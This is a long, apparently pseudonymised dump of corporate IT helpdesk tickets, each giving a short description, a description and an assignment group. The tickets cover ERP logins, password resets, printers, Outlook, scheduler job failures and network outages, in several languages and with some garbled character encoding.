12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp help, Description: \_x000D\_
\_x000D\_
received from: vfyuldps.kjgcaphx@gmail.com\_x000D\_
\_x000D\_
hi, dear sir/madam\_x000D\_
\_x000D\_
i ask your help for the erp pr process.\_x000D\_
\_x000D\_
i went to erp inbox from workflow system. keep pop up the screen below even i just accessed 10 sec.\_x000D\_
please kindly check and fix.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: unable to login to engineering tool, Description: hi,
i changed the password through password\_management\_tool, and now unable to lonin to engineering tool
pls help
jayhrt bhatyr
extn393
, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit erpgui \ ewewx212495 \vzqomdgt jwoqbuml, Description: probleme mit erpgui \ ewewx212495 \vzqomdgt jwoqbuml, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit erpgui \ ewewx212493 \vzqomdgt jwoqbuml, Description: probleme mit erpgui \ ewewx212493 \vzqomdgt jwoqbuml, is assigned to Assignment group: GRP\_24.Ticket with Short description: laptop not chatryung from doc station, Description: when connected the laptop to doc station its not charging battery, is assigned to Assignment group: GRP\_19.Ticket with Short description: outlook is continuously asking for password., Description: outlook is continuously asking for password., is assigned to Assignment group: GRP\_0.Ticket with Short description: printer configuration , Description: printer configuration
0774
summary:i need to configure printer in t10 region, kindly help to do the same
ricoh aficio mp 2000 pcl16
ii02, is assigned to Assignment group: GRP\_0.Ticket with Short description: konto neu erstellen : ewew8323504 und ewew7212495, Description: ewew8323504 optiplex 780 lager hr.darda\_x000D\_
ewew8323506 optiplex 780 lager hr.darda\_x000D\_
, is assigned to Assignment group: GRP\_24.Ticket with Short description: telefonanlage - nebenstelle 20 auf wild marfhtyio umprogramdntymieren!, Description: telefonanlage - nebenstelle 20 auf wild marfhtyio umprogramdntymieren!, is assigned to Assignment group: GRP\_33.Ticket with Short description: password reset request, Description: password reset request, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp gui has be installed, Description: erp gui has be installed, is assigned to Assignment group: GRP\_19.Ticket with Short description: software not working on laptop - engineering\_tool - outlook - internet explorer. had a security warning and all have stopped perform, Description: had a firewall warning and software stopped working., is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook ä¸èƒ½å¯åŠ¨ã€‚, Description: outlook ä¸èƒ½å¯åŠ¨ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: engineering\_tool and engineering\_tool not working, Description:
received from: cugjzqlf.djwbyact@gmail.com
hello
my system is facing an issues while connecting engineering\_tool and engineering\_tool software, below is the erro message:
1. engineering\_tool
[cid:image001.png@01d20452.3d767b10]
2. for engineering\_tool
[cid:image002.png@01d20452.3d767b10]
please support
cugjzqlf djwbyact
executive sales.
company india ltd
mob â€“ 9128mail : cugjzqlf.djwbyact@gmail.com<mailto:cugjzqlf.djwbyact@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: probleme mit etiketten drucken \laser 01 \we\_wu102 \pfjwinbg ljtzbdqg, Description: probleme mit etiketten drucken \laser 01 \we\_wu102 \pfjwinbg ljtzbdqg, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit etiketten drucken \laser 03 \we\_wu102 \pfjwinbg ljtzbdqg, Description: probleme mit etiketten drucken \laser 03 \we\_wu102 \pfjwinbg ljtzbdqg, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \rechner instandsetzung \qnigujek kopqcjdh, Description: setup new ws \rechner instandsetzung \qnigujek kopqcjdh, is assigned to Assignment group: GRP\_24.Ticket with Short description: webshop access., Description: hello,\_x000D\_
i didn't see my customers at webshop (distributor\_tool). also i cann't chose any salesorg. \_x000D\_
i have unlocked all my accounts and change the password, but the problem remains.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp error, Description: hi team, i am experiencing some error in erp SID\_34 application. firstly i am not certain whether i am accessing SID\_34 system or not. i have logged into netweaver 5.0 in my system. is this the correct application i should be using? please find attachment that can give a glimpse of the error. feel free to chat or email or phone call with me to understand more on this. , is assigned to Assignment group: GRP\_0.Ticket with Short description: job hr\_toolmforrun failed in job\_scheduler at: 09/01/2016 02:37:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_toolmforrun failed in job\_scheduler at: 09/01/2016 02:37:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: reset the password for arsbtkvd qieagkos on erp / production / erp, Description: please reset users password to daypay3, is assigned to Assignment group: GRP\_0.Ticket with Short description: install new optiplex 7020 as eagw8111311 - fy17 x64 company image, Description: install new optiplex 7020 as eagw8111311 - fy17 x64 company image, is assigned to Assignment group: GRP\_28.Ticket with Short description: erp SID\_34 account locked , Description: erp SID\_34 account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp logon, Description: \_x000D\_
\_x000D\_
received from: ubdihsop.ahyeqpmx@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
will you please help me to logon to erp.\_x000D\_
\_x000D\_
it doesn't want to accept my password.\_x000D\_
\_x000D\_
i think i need to put in new password??\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2599 failed in job\_scheduler at: 09/01/2016 01:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2599 failed in job\_scheduler at: 09/01/2016 01:30:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: list of it team functions with names, Description:
received from: kflqpite.gbeoqsnc@gmail.com
hello gso team,
can you forward us the list of it team members â€“ grouped by their function?
example
team members
it function
solution
competrhyrncy
support
erp- supply\_chain
srinfhyath
vijeghtyundra
shwhdbthyuiethadri
sanhjtyhru kurtyar
windows server
active directory
security - erp
security - non-erp
, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_drawing\_tool issue, Description: \_x000D\_
\_x000D\_
received from: dwsyaqpr.bzasnmvw@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
engineering\_drawing\_tool is not working in my system. please give me solution in this issue.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: edi process for miro entries-urgent, Description: \_x000D\_
\_x000D\_
received from: neokfwiy.ufriscym@gmail.com\_x000D\_
\_x000D\_
dear it,\_x000D\_
\_x000D\_
please help to check and post the outstanding miro entries company 5321, we have created & customer inwarehouse\_tools yesterday, but the miro entries for interco ap have not been posted yet.\_x000D\_
\_x000D\_
please help to post the entries immediately before 12:00 today.\_x000D\_
\_x000D\_
[cid:image002.png@01d20444.161e7df0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_10.Ticket with Short description: unable to take print out from engineering\_drawing\_tool 2006 , Description: unable to take print out from engineering\_drawing\_tool 2006., is assigned to Assignment group: GRP\_19.Ticket with Short description: job hr\_payroll\_na\_u1 failed in job\_scheduler at: 08/31/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u1 failed in job\_scheduler at: 08/31/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job Job\_2551 failed in job\_scheduler at: 08/31/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2551 failed in job\_scheduler at: 08/31/2016 23:00:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job hr\_payroll\_na\_u2 failed in job\_scheduler at: 08/31/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u2 failed in job\_scheduler at: 08/31/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u6 failed in job\_scheduler at: 08/31/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u6 failed in job\_scheduler at: 08/31/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: mii uacyltoe hxgaycze from lacw8515941 : step 'refresh page' failed: element 'span' was not found since 09:18 pm et on 08/31., Description: mii uacyltoe hxgaycze from lacw8515941 : step 'refresh page' failed: element 'span' was not found since 09:18 pm et on 08/31., is assigned to Assignment group: GRP\_14.Ticket with Short description: mii is not working. error user authentication failed, Description: mii is not working. error user authentication failed.\_x000D\_
\_x000D\_
erp is working, internet is working.\_x000D\_
\_x000D\_
whole plant is not able to access the system., is assigned to Assignment group: GRP\_14.Ticket with Short description: cannot view the drawing in mii, Description: cannot view the drawings attached to material 6216122 in SID\_34. i checked and the version of the nxd drawing is 00. this material also exists in SID\_1 with the same value., is assigned to Assignment group: GRP\_41.Ticket with Short description: shop floor server issues , Description: \_x000D\_
\_x000D\_
received from: vciknubg.wdlkabms@gmail.com\_x000D\_
\_x000D\_
request assistance with our shop floor system. all users are unable to log in an scan orders on the floor. a previous call was placed to open a trouble ticket.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_14.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/31/2016 22:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/31/2016 22:02:00, is assigned to Assignment group: GRP\_45.Ticket with Short description: when employees try to log into mii, get the following error. user authentication failed, Description: not able to scan orders in the usa plant, is assigned to Assignment group: GRP\_14.Ticket with Short description: password locked, Description:
received from: cuytdmhv.yeqdmwvt@gmail.com
hello
please unlock my password for erp and net weaver.
user id: kimufghtyry
, is assigned to Assignment group: GRP\_0.Ticket with Short description: configair server responds with " 500 internal server error" in case of any other logon language then "en"., Description: configair server responds with " 500 internal server error" in case of any other logon language then "en" and the model "mill\_model" is used. the issue exists in erp erp system SID\_34 as well as on distributor\_tool / company center - production environment..\_x000D\_
further error message text is " error: while trying to invoke the method java.util.list.iterator() of a null object loaded from local variable 'locallist'".\_x000D\_
logon language "en" is ok. if our "csscdrill" model is used all language seem to be working fine. but once the user changes to any other language (e.g. de or it) and uses the model mill\_model the configig air system responses with the error message during starting process of configair configurator., is assigned to Assignment group: GRP\_14.Ticket with Short description: HostName\_1045:windows disk space utilization alert - on e:\ free space less than 15% and under 5gb free. , Description: HostName\_1045:(reporting\_engineering\_tooling - production):windows disk space utilization alert - on e:\ free space less than 15% and under 5gb free. , is assigned to Assignment group: GRP\_12.Ticket with Short description: analysis for microsoft excel access (erp business intelligence), Description:
received from: zolnubvq.ehrqifxp@gmail.com
please install analysis for microsoft excel on xrqnyzhb oblghuyf and kvwrbfet jrhoqdix's computer.
ashley employee number is 6656817
vic lonn employee number is 211566061
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2881 failed in job\_scheduler at: 08/31/2016 18:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2881 failed in job\_scheduler at: 08/31/2016 18:20:00, is assigned to Assignment group: GRP\_13.Ticket with Short description: ess site sales and markhtyeting tab missing., Description: ess site sales and markhtyeting tab missing., is assigned to Assignment group: GRP\_0.Ticket with Short description: interface: fastethernet0/27 vlan 51: lhqwx402189sf on company-na-usa-usa-switch-cl04-3-2960-access-sw03.company.com is down, Description: interface: fastethernet0/27 Â· vlan 51: lhqwx402189sf on company-na-usa-usa-switch-cl04-3-2960-access-sw03.company.com is down, is assigned to Assignment group: GRP\_8.Ticket with Short description: wifi not working, stuck on yet no networks shown, wont turn off. ony mobile broadband works, Description: name:todghtyud usa
language:
browser:microsoft internet explorer
email:todd.usa@company.com
customer number:
telephone:734-
summary:wifi not working, stuck on yet no networks shown, wont turn off. ony mobile broadband works, is assigned to Assignment group: GRP\_0.Ticket with Short description: reg: warehouse\_tool communication tickets , Description:
received from: jvhqyamt.wodzrcjg@gmail.com
hello gso team,
please assign any critical warehouse\_tool tickets to network team after my office hours and inform them.
network ops team should be able to resolve the issues and if they need any support intern they will contact me.
with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open outlook , Description: unable to open outlook , is assigned to Assignment group: GRP\_0.Ticket with Short description: in the work center to do list production orders with crtd are showing up - they should not, Description: in the work center to do list production orders with crtd are showing up - they should not - please look at work center 10000 in plant\_3\_x000D\_
stefdgthyo, kahrthyeui, and vinhytry discussed, the hana model is not filtering this information out. we need to add a filter in mii. , is assigned to Assignment group: GRP\_41.Ticket with Short description: need added to printer address book \\HostName\_1033\tc91, Description: ic
welcome, our next available agent will be with you shortly...
interaction alerting agent.
website visitor has joined the conversation
rakthyesh ramdntythanjesh
hi danghtnuell
fbhyeksq caexmols
hello rakthyesh
rakthyesh ramdntythanjesh
, is assigned to Assignment group: GRP\_3.Ticket with Short description: phone numbers for usa canada customer service team are not working, impacting all our customers for australia canada., Description: the global\_telecom\_1 numbers that are not work are;
calls to these numbers get a recording stating "if you like to make a call please hang up and try again.", is assigned to Assignment group: GRP\_37.Ticket with Short description: need to configure printers, Description: need to configure printers, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_856223, Description: ticket update on inplant\_856223, is assigned to Assignment group: GRP\_0.Ticket with Short description: time format needs to be changed to 24 hours., Description: time format needs to be changed to 24 hours.
computer name: awyw8328926,awyw8911727-plant\_5404,awyw8911434-bnsh0504,awyw8911479-awysinic3
-connected to the user system using teamviewer.
-contact :079
-connected to the pc using rdp.
-added the user to the admin group.
-restarted all the pc's.
-help the user change the time zone on all the pc's.
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: activity 4 and 5 efficiency too high reported for usa, Description: note from omufjcxr ahypftjx - \_x000D\_
\_x000D\_
"do you know if the data in the activity 4 column of the work center efficiency report is accurate? for august it is showing very high efficiency, then when i check an order, the cost isn't very far off."\_x000D\_
\_x000D\_
"activity 5 also looks strange in the report â€“ for the tipset work center it isn't pulling the correct planned pieces. everything in erp looks good when i pull up the orders â€“ just the report seems to have bad data.", is assigned to Assignment group: GRP\_9.Ticket with Short description: windows password reset for jogt harrhntyl, Description: windows password reset for jogt harrhntyl, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3194 failed in job\_scheduler at: 08/31/2016 14:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3194 failed in job\_scheduler at: 08/31/2016 14:15:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: vip 1 fax machine with phone number 724- is not working and does not have a dial tone., Description: fax machine with phone number 724- is not working and does not have a dial tone., is assigned to Assignment group: GRP\_37.Ticket with Short description: i need access to the deleted folder on collaboration\_platform., Description: i can't find a mti certificate tracking form on collaboration\_platform and need to make sure it wasn't deleted., is assigned to Assignment group: GRP\_16.Ticket with Short description: reset the password for cyvdluja oxrkfpbz on other / telephony\_software, Description: please reset password to telephony\_software. , is assigned to Assignment group: GRP\_7.Ticket with Short description: collaboration\_platform site not launching., Description: \_x000D\_
\_x000D\_
received from: xlvuhjea.mjugvtnd@gmail.com\_x000D\_
\_x000D\_
dear it help desk = i am unable to navigate out via internet explorer to places like collaboration\_platform or purchasing. also, skype will not open for me, and i can't see other people's availability on outlook or skype. please help\_x000D\_
yes, i've tried logging off and on, and removing the battery\_x000D\_
no, i haven't recently changed my homepage, but yes, i did recently change my password using password\_management\_tool. let me know of any questions. , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to knowledge center in commstorage\_product tab, Description: unable to connect to knowledge center in commstorage\_product tab, is assigned to Assignment group: GRP\_16.Ticket with Short description: iscl collaboration\_platform sites seem to be down, Description: i have tried accessing several bookmarkhtys i have within the "iscl realm of collaboration\_platform." looks like i cannot access anything there. other people from our team are having the same issues. , is assigned to Assignment group: GRP\_16.Ticket with Short description: unable to upload file on collaboration\_platform, Description: unable to upload file on collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: domain account locked out, Description: domain account locked out, is assigned to Assignment group: GRP\_0.Ticket with Short description: issues to log into ethics course, Description: \_x000D\_
\_x000D\_
received from: fmzdkyqv.dbrslnhe@gmail.com\_x000D\_
\_x000D\_
hi\_x000D\_
i receive the following error message when trying to log into the current ethics module â€“ might have to do with chaof primarily used e-mail to fmzdkyqv.dbrslnhe@gmail.com<mailto:fmzdkyqv.dbrslnhe@gmail.com> â€“ please check and correct â€“ , is assigned to Assignment group: GRP\_23.Ticket with Short description: operator forgot login password. qgwypesz fzsdnmrk user id:zemboks 61227, Description: ic\_x000D\_
welcome, our next available agent will be with you shortly...\_x000D\_
interaction alerting agent.\_x000D\_
website visitor has joined the conversation\_x000D\_
rakthyesh ramdntythanjesh\_x000D\_
hi robhyertyj\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on ticket\_no0431842, Description: ticket update on ticket\_no0431842, is assigned to Assignment group: GRP\_0.Ticket with Short description: call from vitalyst : ms crm dynamics issue , Description: call from vitalyst : ms crm dynamics issue
contact : 2813, is assigned to Assignment group: GRP\_40.Ticket with Short description: trying to sign on to purchasing system, but the website will not even load., Description: trying to sign on to purchasing system, but the website will not even load., is assigned to Assignment group: GRP\_0.Ticket with Short description: soflex - dnc is not working. , Description: soflex - dnc is not working. unable to connect to datenbank. server HostName\_754 should be restarted.
phone: 49 , is assigned to Assignment group: GRP\_12.Ticket with Short description: bad monitor - lbdw7402361, Description: bad monitor - lbdw8513472 - near rob ripple, is assigned to Assignment group: GRP\_3.Ticket with Short description: bad monitor lbdw7402359, Description: bad monitor lbdw8513460 - near braze line, is assigned to Assignment group: GRP\_3.Ticket with Short description: job Job\_1918c failed in job\_scheduler at: 08/31/2016 12:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1918c failed in job\_scheduler at: 08/31/2016 12:00:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: supply\_chain\_software signin , Description:
received from: oetlgbfw.bsctrnwp@gmail.com
my password is not working
please reset my password
username matghyuthdw
, is assigned to Assignment group: GRP\_0.Ticket with Short description: bad monitor lbdw7402365, Description: bad monitor lbdw7402365, is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to connect to printer, Description: i am unable to connect to my printer and print things\_x000D\_
when i try to print, it says drivers need updated, but if i go to install the drivers i get an error anyways, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to connect to vpn, Description: unable to connect to vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: access to bw production SID\_37 in erp, Description: i can log into bex via the web but it is asking for id and password. i would need access to usa (plant\_137), usa (plant\_33), usa (plant\_92), is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock and password reset, Description: erp SID\_34 account unlock and password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_106:volume consumed on : c:\ is more than 85% ., Description: HostName\_106:volume consumed on : c:\ is more than 85% ., is assigned to Assignment group: GRP\_12.Ticket with Short description: consultant needs collaboration\_platform access, Description: consultant, ycimqxdn wtubpdsz, requires collaboration\_platform access, the same as nkqafhod xbvghozp. both users are from schneider downs.\_x000D\_
\_x000D\_
please refer to inc1543039, submitted on august 22nd (and ticket # ticket\_no1541640).\_x000D\_
\_x000D\_
this is needed as soon as possible, as ycimqxdn wtubpdsz has started his engagement. if he already has access, please provide the credentials he should use for his license.\_x000D\_
\_x000D\_
please contact me with any questions.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: the hr\_tool portal for finance returns an error when trying to run reports, Description: the hr\_tool portal for finance returns an error when trying to run reports, is assigned to Assignment group: GRP\_0.Ticket with Short description: byclpwmv esafrtbh is unable to login to ticketing\_tool., Description: byclpwmv esafrtbh is unable to login to ticketing\_tool., is assigned to Assignment group: GRP\_0.Ticket with Short description: problem with badge printer., Description: problem with badge printer., is assigned to Assignment group: GRP\_3.Ticket with Short description: logging into mii supervisor dashbankrd results in error pop-up.. 'internal server error', Description: logging into mii supervisor dashbankrd results in error pop-up.. 'internal server error'. user is a member of mii operator and mii supervisor group in ad.
phone; :234-, is assigned to Assignment group: GRP\_41.Ticket with Short description: rechner ewew8323546; ewew8323545 neu erzeugen, Description: rechner ewew8323546; ewew8323545 neu erzeugen, is assigned to Assignment group: GRP\_24.Ticket with Short description: vip 2 : printer not working , Description: vip 2 : printer not working \_x000D\_
\_x000D\_
driver update prompt, is assigned to Assignment group: GRP\_0.Ticket with Short description: issues with mic and screen shatryung on skype, Description: issues with mic and screen shatryung on skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: when connected to telekom (mobile broadband), the vpn does not work., Description: when connected to telekom (mobile broadband), the vpn does not work.\_x000D\_
error : page can not be displayed.\_x000D\_
vpn works fine with wlan.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: please forward emails to new address., Description: user mexkspfc nocpyxaz
her old email address is no longer valid. it has to stay valid
autoforward it to her new one
her old one is susfhtyan.malfhklouicki@company.com, is assigned to Assignment group: GRP\_2.Ticket with Short description: ebhsm004 :volume consumed on c:\ is more than 85%., Description: ebhsm004 :volume consumed on c:\ is more than 85%., is assigned to Assignment group: GRP\_12.Ticket with Short description: analysis for office is not working , Description: analysis for office is not working, is assigned to Assignment group: GRP\_19.Ticket with Short description: skype issue, Description: \_x000D\_
\_x000D\_
received from: zfburidj.jmilguev@gmail.com\_x000D\_
\_x000D\_
hi there,\_x000D\_
\_x000D\_
i cannot sign into skype and i have an important meeting i need to get on to this morning.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to call telephony\_software number of germany former germany location , Description: when try to call telephony\_software number of germany former germany location (ex. 20445175 or 20455271) we could not hear each others.
i can her them, they can hear me but we cannot communicate each others.
i did a uacyltoe hxgaycze with other locations, ex. france 20666152 or uk 20500000 and it works normally.
, is assigned to Assignment group: GRP\_7.Ticket with Short description: ughzilfm cfibdamq called to check if the account are active, Description: ughzilfm cfibdamq called to check if the account are active, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not working: freezing , Description: outlook not working: freezing , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp running slow, Description: \_x000D\_
\_x000D\_
received from: rtpmlwnk.unpambrv@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
erp is running estorage\_productly slow. i am at the usa, il reconditioning plant. with today being the last day of the month, it is imperative that we enter as many orders as possible. can you please look at this?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to print labels., Description: no connection between the workstation and the server uxhq010. normal printing works. unable to print labels.\_x000D\_
\_x000D\_
works fine on win 7 systems. issue is only with xp systems.\_x000D\_
\_x000D\_
printer: wezeb02. it is a barcode printer., is assigned to Assignment group: GRP\_24.Ticket with Short description: the e-time system is not working. the plant controllers are receiving an error message, whenever we try to run a rpt., Description: please review the attached document, in order to view the error message. i can be reached on my cell at 615-or my office 615, is assigned to Assignment group: GRP\_0.Ticket with Short description: share collaboration\_platform site , Description:
[â€Ž8/â€Ž31/â€Ž2016 1:03 pm]
hi
matheywt rovfghesntine or me are unable to share the global recruiting team site with anyone. please advise.
, is assigned to Assignment group: GRP\_16.Ticket with Short description: mm 7154294 - transfer pricing, Description: mm 7154294 has an average customer net price (vk13 - ztfn) for 1101 of 20.60 per pc. in october 2015 the price was per pak. why did the price switch from per pak to per pc? i would think that the price of this material should be 20.60 per pak and 2.06 per pc since it is a pack of 10. it is imperative that we fix this issue immediately as we have a short time framdntye to fix the transfer price and avoid overpaying customs duties. please advise. , is assigned to Assignment group: GRP\_13.Ticket with Short description: cisco access point is not working., Description: cisco access point is not working.\_x000D\_
mac address : 1819db8e64, is assigned to Assignment group: GRP\_4.Ticket with Short description: change o365 license fron s1 to k1, Description: could you please changes the o365 license of the following employees from "s1" to "k1"
luifdsts olhryhira - 300 1000
cost center pam001
cordrtegd 31544571 hlcrbuqa qznjshwm hlcrbuqa.qznjshwm@gmail.com
costarra 31505504 vtdygauw wqxcrzhj alex.costa@company.com
santodde1 31544416 tlvwusmh dbwuyxoq eder.santrtos@company.com
santossdm1 31542346 ojtmnpxc klacwufr ojtmnpxc.klacwufr@gmail.com
coutidfrc 3155574 cesarrogerio coutinho vetqkwpn.qajtdobg@gmail.com
santosdfd 31545621 delsonpereira santrtos delsonpereira.santrtos@company.com
santoes2 31565653 kgyboafv tlzsrvgw kgyboafv.tlzsrvgw@gmail.com
serravdsa 31564500 vagnerlrtopes eeserra vagnerlrtopes.eeserra@company.com
, is assigned to Assignment group: GRP\_34.Ticket with Short description: error message for hana and not able to open file to run quote file that i need., Description: phone 812. when open up erp analysis for microsoft excel i get error. the error shows following message: "the launcher is exited with error. see log file for more detail. the analysis add-in is not registered correctly", is assigned to Assignment group: GRP\_0.Ticket with Short description: issues with company ebusiness mailbox, Description: issues with company ebusiness mailbox, is assigned to Assignment group: GRP\_0.Ticket with Short description: hr\_tool access, Description: \_x000D\_
\_x000D\_
received from: umzcxfah.aoshpjiu@gmail.com\_x000D\_
\_x000D\_
good morning,\_x000D\_
i am unable to run any reports in hr\_tool today. it worked fine yesterday.\_x000D\_
\_x000D\_
please advise.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype : personal certificate issue , Description: skype : personal certificate issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: change date settings-citrix-multiple users, Description:
received from: iltcxkvw.dkwmxcgn@gmail.com
hello team,
i'm writing to you as a request to change the date, for a couple of citrix users, from eastern time (us&canada) to eet(eastern european time).
users for which the date should be changed from eastern time (us&canada) to eet(eastern european time):
Â· vrtvpopc
Â· vvrnrtacri
Â· vvrtgffada
Â· vvrurtgsur
Â· vvrtyjakaa
Â· vvrtymitrd
Â· vvdeftmea
Â· vvbgrtyeleb
Â· vvcodgtjud
Â· vvggrthhibg
could you please be so kind to perform the changes and let us know is additional information is required from our side?
, is assigned to Assignment group: GRP\_12.Ticket with Short description: no audio during meetings, Description: no audio during meetings, also, mic doesn't work, is assigned to Assignment group: GRP\_3.Ticket with Short description: missing folder in outlook, Description: missing folder in outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to get the skype add-in , Description: unable to get the skype add-in , is assigned to Assignment group: GRP\_0.Ticket with Short description: company logo is still on the printed erp qualtiy certificates , Description: hello, \_x000D\_
\_x000D\_
please see attached document and e-mail with mynfoicj riuvxdas. \_x000D\_
when we print out the certificate via vl02n, still the company logo is on the document. \_x000D\_
\_x000D\_
we got repeat trouble with custom, deliveries are stopped etc. \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_45.Ticket with Short description: ticket update on inc1546812 from dslamtcb ezbmonjr, Description: ticket update on inc1546812 from dslamtcb ezbmonjr, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage:germany-1- (company):20 mbps link to global\_telecom\_1 mpls circuit is down since at 8:00 am et on 08/31.site have backup., Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_8:00 am et on 08/31\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_global\_telecom\_1 # 000000221254416. \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_4.Ticket with Short description: printer co16 is not printing., Description: printer co16 is not printing.
server : \\HostName\_813
error : update driver.
contact : 812, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch outlook, Description: unable to launch outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: query from qdapolnv jlcavxgi, Description: query from qdapolnv jlcavxgi, is assigned to Assignment group: GRP\_0.Ticket with Short description: lentidÃ£o da mÃ¡quina, Description: favor verificar a lentidÃ£o da minha mÃ¡quina, estÃ¡ fora do normal, mesmo sendo final de mÃªs., is assigned to Assignment group: GRP\_62.Ticket with Short description: basis on-call / shift details..., Description: \_x000D\_
\_x000D\_
received from: mnxbeuso.rfmdlwuo@gmail.com\_x000D\_
\_x000D\_
team â€“\_x000D\_
\_x000D\_
please find basis weekend/weekday(night) on-call schedule and shift schedule as per attachment. this excel is in the below location in the collaboration\_platform. you can save the below link so that you can use this link to find on-call/shift persons and will keep updating the excel with the details as and when required.\_x000D\_
